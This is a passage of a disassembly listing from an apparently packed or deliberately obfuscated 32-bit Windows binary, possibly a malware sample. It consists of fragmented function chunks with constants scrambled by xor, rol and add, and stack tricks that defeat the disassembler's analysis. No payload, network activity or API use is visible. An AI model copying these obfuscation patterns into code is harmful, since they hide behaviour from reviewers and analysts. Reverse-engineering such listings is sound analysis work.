; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40D0F5:				; CODE XREF: sub_409D6B-411Bj
		mov	eax, [ebp-14h]
		push	eax
		push	28h
		push	0E113C34Fh
		pop	eax
		xor	eax, 5EA4619Fh
		add	eax, ebp
		add	eax, 40485D2Ch
		jmp	loc_40FE73
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40D114:				; CODE XREF: sub_40DF72-1D47j
		cmp	edi, ecx
		jmp	loc_409E62
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D363


loc_40D11B:				; CODE XREF: sub_40D363+26j
		add	eax, 6CFD2CD1h
		add	eax, ebp
		push	ecx
		push	0DFFC4322h
		pop	ecx
		rol	ecx, 2
		cmp	ecx, 78883C38h
		jmp	loc_40E88B
; END OF FUNCTION CHUNK	FOR sub_40D363
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405250


loc_40D138:				; CODE XREF: sub_405250+355Dj
		add	esi, 0F51B8B78h
		xchg	esi, [esp+4+var_4]
		jmp	loc_407784
; END OF FUNCTION CHUNK	FOR sub_405250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A418


loc_40D146:				; CODE XREF: sub_40A418+8j
		mov	[esp+4+var_4], ecx
		mov	esp, ebp
; END OF FUNCTION CHUNK	FOR sub_40A418
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40D14B:				; CODE XREF: sub_4108AF-6545j
		xchg	edx, [esp+10h+var_10]
		mov	ebp, edx
		jmp	loc_40F586
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407756


loc_40D155:				; CODE XREF: sub_407756:loc_407F22j
		mov	edx, 0F2B89A19h
		call	sub_40E739


loc_40D15F:				; CODE XREF: _837l4vi2:loc_40CEAFj
		call	sub_4068AB
; END OF FUNCTION CHUNK	FOR sub_407756
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40D164:				; CODE XREF: sub_40D735+21D9j
		jmp	loc_40DC0F
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================



sub_40D169	proc near		; CODE XREF: _837l4vi2:00405867j
					; sub_40D977:loc_40E689p

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0040626D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408BD9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00409C46 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		pushf
		push	1233DF72h
		pop	edx
		or	edx, 2F5D8512h
		xor	edx, 2FD44EB5h
		jmp	loc_409C46
sub_40D169	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40D185:				; CODE XREF: sub_40D735:loc_40623Aj
					; DATA XREF: sub_40F642-5138o
		or	eax, eax
		jnz	loc_410455
		jmp	loc_40D59A
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8D3


loc_40D192:				; CODE XREF: sub_40CE0E-50EBj
					; sub_40A8D3+6j
		mov	eax, [ebp-4]
		xchg	eax, ebx
		push	offset sub_4054EA
		jmp	nullsub_57
; END OF FUNCTION CHUNK	FOR sub_40A8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406834


loc_40D1A1:				; CODE XREF: sub_406834-8B4j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al


loc_40D1AE:				; CODE XREF: sub_406834-8CAj
		call	sub_40E7E1
		pop	ecx
		jmp	loc_40E493
; END OF FUNCTION CHUNK	FOR sub_406834
; ---------------------------------------------------------------------------


loc_40D1B9:				; CODE XREF: _837l4vi2:0040F903j
		xchg	edi, ebx

; =============== S U B	R O U T	I N E =======================================



sub_40D1BB	proc near		; CODE XREF: _837l4vi2:0040A9B3p
		xchg	esi, [esp+0]
		pop	esi
		pop	eax
		push	offset loc_410C2B
		jmp	nullsub_209
sub_40D1BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41020E


loc_40D1CA:				; CODE XREF: sub_41020E-4F15j
		push	0A3BFE623h


loc_40D1CF:				; CODE XREF: sub_41020E:loc_405AB1j
		push	edx
		push	2F182C05h
		pop	edx
		xor	edx, 66868A76h
		jmp	loc_40F9A8
; END OF FUNCTION CHUNK	FOR sub_41020E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4105A5


loc_40D1E2:				; CODE XREF: sub_4105A5+8j
		jmp	loc_40FBD7
; END OF FUNCTION CHUNK	FOR sub_4105A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A454


loc_40D1E7:				; CODE XREF: sub_40A454-2750j
		jmp	loc_40776E
; END OF FUNCTION CHUNK	FOR sub_40A454

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1EC	proc near		; CODE XREF: sub_40BE1F:loc_4066FAp

var_70		= dword	ptr -70h

; FUNCTION CHUNK AT 00405B44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004080FD SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF90h
		call	sub_40B088
		mov	edx, 9278ADE5h
		push	edi
		jmp	loc_4080FD
sub_40D1EC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40D202:				; CODE XREF: sub_408736+Ej
		call	sub_407E61
		sub	eax, ds:dword_406520
		shr	eax, 11h
		jz	loc_409163
		jmp	loc_409506
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
		and	edx, 42127A54h
		jmp	sub_408B48
; ---------------------------------------------------------------------------


loc_40D226:				; DATA XREF: sub_40F141-1BF5o
		xor	edx, edx
		div	ecx
		push	edi
		push	offset sub_407641
		jmp	loc_409A60
; ---------------------------------------------------------------------------


loc_40D235:				; CODE XREF: _837l4vi2:00406A29j
		jno	loc_40E6F7
		test	ebp, ecx
		jmp	loc_40BECA

; =============== S U B	R O U T	I N E =======================================



sub_40D242	proc near		; CODE XREF: _837l4vi2:004083A2j
					; _837l4vi2:0040A129p

; FUNCTION CHUNK AT 00409244 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040FFD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004102D4 SIZE 00000016 BYTES

		mov	[esp+0], ecx
		pop	ecx
		pop	edi
		push	1Ch
		jmp	loc_40FFD4
sub_40D242	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC58


loc_40D24E:				; CODE XREF: sub_40AC58:loc_40AC5Ej
		jnz	loc_40CDD9
		call	sub_40B088
		push	offset sub_40DC66
		jmp	nullsub_219
; END OF FUNCTION CHUNK	FOR sub_40AC58

; =============== S U B	R O U T	I N E =======================================



sub_40D263	proc near		; CODE XREF: sub_406BF8+492Cp
					; _837l4vi2:0040C0D1j

; FUNCTION CHUNK AT 00406213 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004080BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409BE2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DAB8 SIZE 0000000B BYTES

		mov	[esp+0], esi
		pop	esi


loc_40D267:				; CODE XREF: _837l4vi2:loc_40D879j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_406213
sub_40D263	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_40D272:				; CODE XREF: _837l4vi2:0040AF56j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40D273:				; CODE XREF: sub_4053DD:loc_40B0D6j
		jmp	loc_40B289
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40D278:				; CODE XREF: sub_408736-2E22j
					; sub_408736:loc_41017Fj
		push	esi
		push	0C05D81A6h
		pop	esi
		add	esi, 3FE31AF8h
		xchg	esi, [esp+4+var_4]
		jmp	loc_409070
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_40D28D:				; CODE XREF: sub_40989E+5CCDj
		add	eax, ebp
		add	eax, 0DBF1DFBh
		push	eax
		push	eax
		push	284E384Ah
		pop	eax
		or	eax, 0D6278A77h
		jmp	loc_40C81C
; END OF FUNCTION CHUNK	FOR sub_40989E

; =============== S U B	R O U T	I N E =======================================



sub_40D2A8	proc near		; DATA XREF: _837l4vi2:00408114o
		push	eax
		rol	eax, 8
		mov	ds:dword_40DEFC, eax
		retn
sub_40D2A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405201


loc_40D2B3:				; CODE XREF: sub_405201+1490j
					; _837l4vi2:0040EFF1j
		ror	eax, 8
		xchg	eax, ecx
		push	ecx
		jmp	loc_406146
; END OF FUNCTION CHUNK	FOR sub_405201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_40D2BE:				; CODE XREF: sub_40C5BE:loc_40FA5Cj
		test	eax, eax
		jz	loc_40F417
		jmp	loc_408224
; END OF FUNCTION CHUNK	FOR sub_40C5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B77A


loc_40D2CB:				; CODE XREF: sub_40B77A+4BBDj
		xchg	edi, [esi]
		xchg	edx, ecx
		jmp	loc_40503B
; END OF FUNCTION CHUNK	FOR sub_40B77A
; ---------------------------------------------------------------------------


loc_40D2D4:				; CODE XREF: _837l4vi2:0040564Bj
		jnz	loc_41084D
		sbb	ecx, 0F07EE9A9h
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_40D2E0:				; CODE XREF: sub_40CAD0:loc_405629j
		add	ebx, 720629Dh
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_408617
; END OF FUNCTION CHUNK	FOR sub_40CAD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409748


loc_40D2EE:				; CODE XREF: sub_409748:loc_410175j
		push	offset loc_40ED81
		jmp	nullsub_206
; END OF FUNCTION CHUNK	FOR sub_409748
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40D2F8:				; CODE XREF: sub_40D735-85D8j
					; _837l4vi2:loc_4065F7j
		mov	ebx, offset sub_40D306
		xchg	ebx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406A63


loc_40D301:				; CODE XREF: sub_406A63+16j
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_406A63

; =============== S U B	R O U T	I N E =======================================



sub_40D306	proc near		; DATA XREF: sub_40D735:loc_40D2F8o

; FUNCTION CHUNK AT 004081C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D464 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EB63 SIZE 00000007 BYTES

		pop	ecx
		jmp	loc_40D464
sub_40D306	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 9E99B23Eh
		push	ecx
		push	178F83AAh
		pop	ecx
		jmp	loc_409B93

; =============== S U B	R O U T	I N E =======================================



sub_40D31D	proc near		; CODE XREF: _837l4vi2:004062CDp
					; _837l4vi2:0040B50Cj

; FUNCTION CHUNK AT 004075C2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00408948 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040A576 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410EF1 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, 0EFF00021h
		push	ecx
		push	0F23B263Fh
		jmp	loc_40A576
sub_40D31D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40D332:				; CODE XREF: sub_40B859+13j
		cmp	ecx, 0FC31F3D6h
		jmp	loc_4078EC
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E1CD


loc_40D33D:				; CODE XREF: sub_40E1CD:loc_40A1E1j
		xchg	ecx, [esp+8+var_8]
		push	offset sub_408A11
		jmp	loc_40CB6D
; END OF FUNCTION CHUNK	FOR sub_40E1CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE68


loc_40D34A:				; CODE XREF: sub_40DE68-82E5j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_40E98C
		mov	eax, [ebp+var_4]
		call	sub_40A2D5


loc_40D35E:				; CODE XREF: sub_40892F-F31j
		jmp	nullsub_70
; END OF FUNCTION CHUNK	FOR sub_40DE68

; =============== S U B	R O U T	I N E =======================================



sub_40D363	proc near		; CODE XREF: sub_40833D+1851p
					; _837l4vi2:00410DCEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004090B6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00409457 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040D11B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040E555 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E88B SIZE 0000000E BYTES

		mov	[esp+0], eax
		pop	eax
		xchg	ebx, [esp+0]
		mov	eax, [ebp+8]
		call	sub_4078C8


loc_40D372:				; CODE XREF: _837l4vi2:00409F54j
		call	sub_40E13A
		push	8F60C66h
		pop	eax
		add	eax, 0CA863EE6h
		xor	eax, 36C0CFA5h
		jmp	loc_40D11B
sub_40D363	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, ebx
		jmp	loc_407A4D
; ---------------------------------------------------------------------------
		shr	ebx, 19h
		or	edi, 0A7E2B498h
		jmp	sub_40B0B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405201


loc_40D3A3:				; CODE XREF: sub_405201:loc_4062ECj
		add	ecx, 0B41B01B5h
		sub	ecx, 5EE7B11h
; END OF FUNCTION CHUNK	FOR sub_405201
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40D3AF:				; CODE XREF: sub_40E3C8:loc_409FAEj
					; sub_40EDE0+5j
		add	ecx, 384DFDF7h
		xchg	ecx, [esp+0]


loc_40D3B8:				; CODE XREF: _837l4vi2:loc_40DA41j
		jmp	loc_40A68A
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
		and	ecx, esi
		jmp	sub_40E266
; ---------------------------------------------------------------------------


loc_40D3C4:				; CODE XREF: _837l4vi2:00409C18j
		jnz	loc_40C35E
		jmp	loc_4063A9
; ---------------------------------------------------------------------------


loc_40D3CF:				; DATA XREF: sub_40C3AF+3748o
		lea	eax, loc_40E9A5
		push	edx
		push	offset sub_40DD9E
		jmp	loc_40B6CA
; ---------------------------------------------------------------------------
dword_40D3E0	dd 77DD0000h						; _837l4vi2:00407B4Aw ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_40D3E4:				; CODE XREF: sub_41045F-4567j
		jmp	loc_410EA8
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CDE9


loc_40D3E9:				; CODE XREF: sub_40CDE9-3A53j
		jmp	loc_410FDB
; END OF FUNCTION CHUNK	FOR sub_40CDE9
; ---------------------------------------------------------------------------
		dw 77DCh
		dd 0B9D91B0h, 0C8332DE0h, 6CC6C8E2h, 0A95B9100h
dword_40D400	dd 88C77DEBh						; sub_40DF94+7r
; ---------------------------------------------------------------------------


loc_40D404:				; CODE XREF: _837l4vi2:0040D494j
		jmp	loc_40DCF1
; ---------------------------------------------------------------------------
		db 78h,	0E4h, 7Eh
dword_40D40C	dd 6891F200h						; _837l4vi2:0040B558w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40D410:				; CODE XREF: sub_4065B8+7305j
		jmp	loc_410589
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
		db 0CFh, 0EBh, 0DDh
dword_40D418	dd 0D5B4EEFBh						; sub_40B11D+Cw
dword_40D41C	dd 0D5867C90h						; sub_40E4F1+Ar
dword_40D420	dd 6EFF3E4h						; sub_405CBC+963Er
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_40D424:				; CODE XREF: sub_4061B1+7E3Fj
		jmp	loc_40C876
; END OF FUNCTION CHUNK	FOR sub_4061B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40D42A:				; CODE XREF: sub_40C1F0+D7Cj
		jmp	nullsub_166
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B99D


loc_40D42F:				; CODE XREF: sub_40B99D:loc_4092D7j
		pop	ecx
		sub	ecx, 6249A621h
		rol	ecx, 9
		test	ecx, 20h
		jmp	loc_4074F1
; END OF FUNCTION CHUNK	FOR sub_40B99D
; ---------------------------------------------------------------------------


loc_40D444:				; CODE XREF: _837l4vi2:loc_4096E3j
		test	eax, edx
		jmp	loc_40FFBD
; ---------------------------------------------------------------------------


loc_40D44B:				; CODE XREF: _837l4vi2:0040995Aj
		jnb	loc_405D97

; =============== S U B	R O U T	I N E =======================================



sub_40D451	proc near		; CODE XREF: _837l4vi2:0040F8FBp
		mov	[esp+0], eax
		pop	eax
		pop	ebp
		retn
sub_40D451	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40D457:				; DATA XREF: sub_40D798+Bo
		xchg	ecx, esi
		mov	esp, ebp
		mov	ebp, offset loc_40D473
		xchg	ebp, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D306


loc_40D464:				; CODE XREF: sub_40D306+1j
		jmp	loc_40EB63
; END OF FUNCTION CHUNK	FOR sub_40D306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C2F6


loc_40D469:				; CODE XREF: sub_40C2F6+D7Fj
		jmp	loc_40CE34
; END OF FUNCTION CHUNK	FOR sub_40C2F6
; ---------------------------------------------------------------------------


loc_40D46E:				; CODE XREF: _837l4vi2:0040589Fj
		jmp	loc_409FC9
; ---------------------------------------------------------------------------


loc_40D473:				; DATA XREF: _837l4vi2:0040D45Bo
		call	sub_40DCDD


loc_40D478:				; CODE XREF: _837l4vi2:00410DB7j
		jmp	loc_40C17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40D47D:				; CODE XREF: sub_41087A:loc_40A8C2j
		jmp	loc_40A8F3
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40D482:				; CODE XREF: sub_405CBC:loc_40EE9Fj
		add	eax, [ebp-4]


loc_40D485:				; CODE XREF: _837l4vi2:00408958j
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_407602
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------


loc_40D48E:				; CODE XREF: _837l4vi2:0040FC23j
		jnz	loc_40A990
		jmp	loc_40D404
; ---------------------------------------------------------------------------


loc_40D499:				; CODE XREF: _837l4vi2:loc_40F12Ej
		jnz	loc_40CAB4
		jmp	loc_4086C4
; ---------------------------------------------------------------------------


loc_40D4A4:				; CODE XREF: _837l4vi2:00408675j
		add	edx, 0AB69322Ah
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40D4AA:				; CODE XREF: sub_4078C8:loc_408667j
		sub	edi, 0B094AE41h
		call	sub_40F030


loc_40D4B5:				; CODE XREF: _837l4vi2:00408BFEj
		jg	loc_410164
		xor	esi, 0F73A1F9Ah


loc_40D4C1:				; CODE XREF: _837l4vi2:loc_409550j
		push	246D40E9h
		pop	eax
		and	eax, 0EF613636h
		add	eax, 0DB9F00C0h
		call	sub_40D92B
		jmp	loc_410304
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		or	edi, 6DE50D37h
		jmp	sub_40DB41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE62


loc_40D4E8:				; CODE XREF: sub_40AE62:loc_40CB25j
		jz	loc_4056D9
		jmp	loc_40FCDD
; END OF FUNCTION CHUNK	FOR sub_40AE62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_40D4F3:				; CODE XREF: sub_40F812+22j
		mov	eax, [eax+0Ch]
		lea	edx, [eax+20h]
		mov	dword ptr [edx], 2000h
		jmp	locret_40E9D2
; ---------------------------------------------------------------------------


loc_40D504:				; CODE XREF: sub_40F812j
		mov	eax, (offset loc_40DF1A+2)
		jmp	loc_40AA18
; END OF FUNCTION CHUNK	FOR sub_40F812

; =============== S U B	R O U T	I N E =======================================



sub_40D50E	proc near		; DATA XREF: sub_40966E:loc_40F6EDo
		call	nullsub_10
		retn
sub_40D50E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104F4


loc_40D514:				; CODE XREF: sub_4104F4-8936j
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_4104F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_40D51A:				; CODE XREF: sub_40E6CD-408Aj
		jmp	loc_40F0F2
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40D51F:				; CODE XREF: sub_4052A5+6j
					; sub_4065B8+4304j
		call	sub_40BF48
		jmp	loc_40D8B5
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408CAC


loc_40D529:				; CODE XREF: sub_408CAC:loc_406D07j
		mov	ebp, offset loc_40D537
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_408CAC
; ---------------------------------------------------------------------------


loc_40D532:				; CODE XREF: _837l4vi2:0040C77Bj
		jmp	loc_40CCA7
; ---------------------------------------------------------------------------


loc_40D537:				; DATA XREF: sub_408CAC:loc_40D529o
		mov	eax, ds:dword_40DF10
		push	offset loc_40C3D5
		jmp	loc_406B86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F141


loc_40D547:				; CODE XREF: sub_40F141:loc_40B441j
		mov	ecx, 3F5h
		push	offset loc_40D226
		jmp	loc_407751
; END OF FUNCTION CHUNK	FOR sub_40F141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E9D8


loc_40D556:				; CODE XREF: sub_40E9D8:loc_40E9E2j
		push	0D1D59E5Ah
		pop	ebx
		or	ebx, 981931h
		add	ebx, 2E6346D8h
		xchg	ebx, [esp+0]
		jmp	sub_409218
; END OF FUNCTION CHUNK	FOR sub_40E9D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7E9


loc_40D570:				; CODE XREF: sub_40A7E9:loc_408598j
		push	offset loc_40A57B
		jmp	nullsub_58
; END OF FUNCTION CHUNK	FOR sub_40A7E9
; ---------------------------------------------------------------------------
		sub	ecx, 0A847B308h
		xchg	eax, [edi]
		jmp	sub_40D735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FED5


loc_40D588:				; CODE XREF: sub_40FED5-CF9j
		jmp	loc_40FEFE
; END OF FUNCTION CHUNK	FOR sub_40FED5
; ---------------------------------------------------------------------------


loc_40D58D:				; CODE XREF: _837l4vi2:0040E332j
		jmp	loc_40A514
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085A2


loc_40D592:				; CODE XREF: sub_4085A2+1j
		mov	ebp, esp
		push	ecx
		call	sub_40882B


loc_40D59A:				; CODE XREF: sub_40D735-5A8j
		jmp	loc_40537B
; END OF FUNCTION CHUNK	FOR sub_4085A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_40D59F:				; CODE XREF: sub_4089C5:loc_4089CDj
		jnz	loc_40B1CD


loc_40D5A5:				; CODE XREF: _837l4vi2:0040CB0Bj
		jmp	loc_4051BC
; END OF FUNCTION CHUNK	FOR sub_4089C5
; ---------------------------------------------------------------------------
		xor	eax, edi
		sub	esi, ebx
		jmp	loc_40B1CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EB97


loc_40D5B3:				; CODE XREF: sub_40EB97+13j
		push	offset sub_4062DC
		jmp	loc_4109E1
; END OF FUNCTION CHUNK	FOR sub_40EB97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4096C0


loc_40D5BD:				; CODE XREF: sub_4096C0+Aj
		lea	eax, [ebp-0Ch]
		push	eax
		mov	eax, [ebp-8]
		push	eax
		call	sub_40B601
		jmp	loc_4052DB
; END OF FUNCTION CHUNK	FOR sub_4096C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40813B


loc_40D5CF:				; CODE XREF: sub_40813B:loc_40720Ej
		jnz	loc_40D5E4
		lea	eax, [ebp-125h]
		push	eax
		call	sub_409E97
		mov	[ebp-4], eax
; END OF FUNCTION CHUNK	FOR sub_40813B
; START	OF FUNCTION CHUNK FOR sub_4086F2


loc_40D5E4:				; CODE XREF: _837l4vi2:loc_407873j
					; sub_4086F2+4j ...
		mov	eax, [ebp-1Ch]
		jmp	loc_409E8A
; END OF FUNCTION CHUNK	FOR sub_4086F2
; ---------------------------------------------------------------------------


loc_40D5EC:				; CODE XREF: _837l4vi2:loc_40C049j
					; _837l4vi2:0040C057j
		xor	edx, 0FE8BFFE1h
		push	7C9E2F1Ch
		mov	[esp], ebx
		pushf
		push	0B0F22E1Eh
		pop	ebx
		and	ebx, 4F051540h
		jmp	loc_4060FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4064E6


loc_40D60C:				; CODE XREF: sub_4064E6+9294j
		xchg	ecx, [edx]
		xchg	ebp, esi
		adc	ebx, esi
		jmp	loc_40B37F
; END OF FUNCTION CHUNK	FOR sub_4064E6
; ---------------------------------------------------------------------------
		push	offset sub_40BE1F
		jmp	loc_405088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_40D621:				; CODE XREF: sub_410BD3:loc_41066Aj
		jnz	loc_408B07
		jmp	loc_40C2EB
; END OF FUNCTION CHUNK	FOR sub_410BD3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_40D62D:				; CODE XREF: sub_40C3AF:loc_410F01j
		add	edi, ebp
		add	edi, 0C66A7232h
		mov	[edi], eax
		pop	edi
		jmp	loc_410A98
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
		cmp	esi, 7CBB9FD3h
		jmp	loc_40F67A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A26E


loc_40D648:				; CODE XREF: sub_40A26E:loc_40A295j
		pop	ebx
		pop	ebp
		jmp	loc_405122
; END OF FUNCTION CHUNK	FOR sub_40A26E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_40D64F:				; CODE XREF: sub_40CA5A-18E3j
		and	edx, eax
		ror	eax, 15h
		and	eax, 72AE15Dh
		jmp	loc_405850
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; ---------------------------------------------------------------------------
		push	1D72C890h
		pop	eax
		rol	eax, 8
		test	eax, 20h
		jmp	loc_40FBF4
; ---------------------------------------------------------------------------


loc_40D673:				; CODE XREF: _837l4vi2:00409A9Ej
					; _837l4vi2:0040FC70j
		or	edx, 4801C6C1h
		add	edx, 9629C5A4h
		call	sub_40E739
		call	sub_405E3F
; START	OF FUNCTION CHUNK FOR sub_40C099


loc_40D689:				; CODE XREF: sub_40C099+7j
		jmp	loc_405228
; END OF FUNCTION CHUNK	FOR sub_40C099

; =============== S U B	R O U T	I N E =======================================



sub_40D68E	proc near		; CODE XREF: sub_40926F:loc_40AC94p

; FUNCTION CHUNK AT 00409039 SIZE 0000000A BYTES

		mov	[esp+0], eax
		rol	eax, 0Ah
		push	esi
		push	2354AE1Dh
		pop	esi
		jmp	loc_409039
sub_40D68E	endp

; ---------------------------------------------------------------------------
		test	ebx, 0EEEB0FA9h
		jmp	loc_408008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


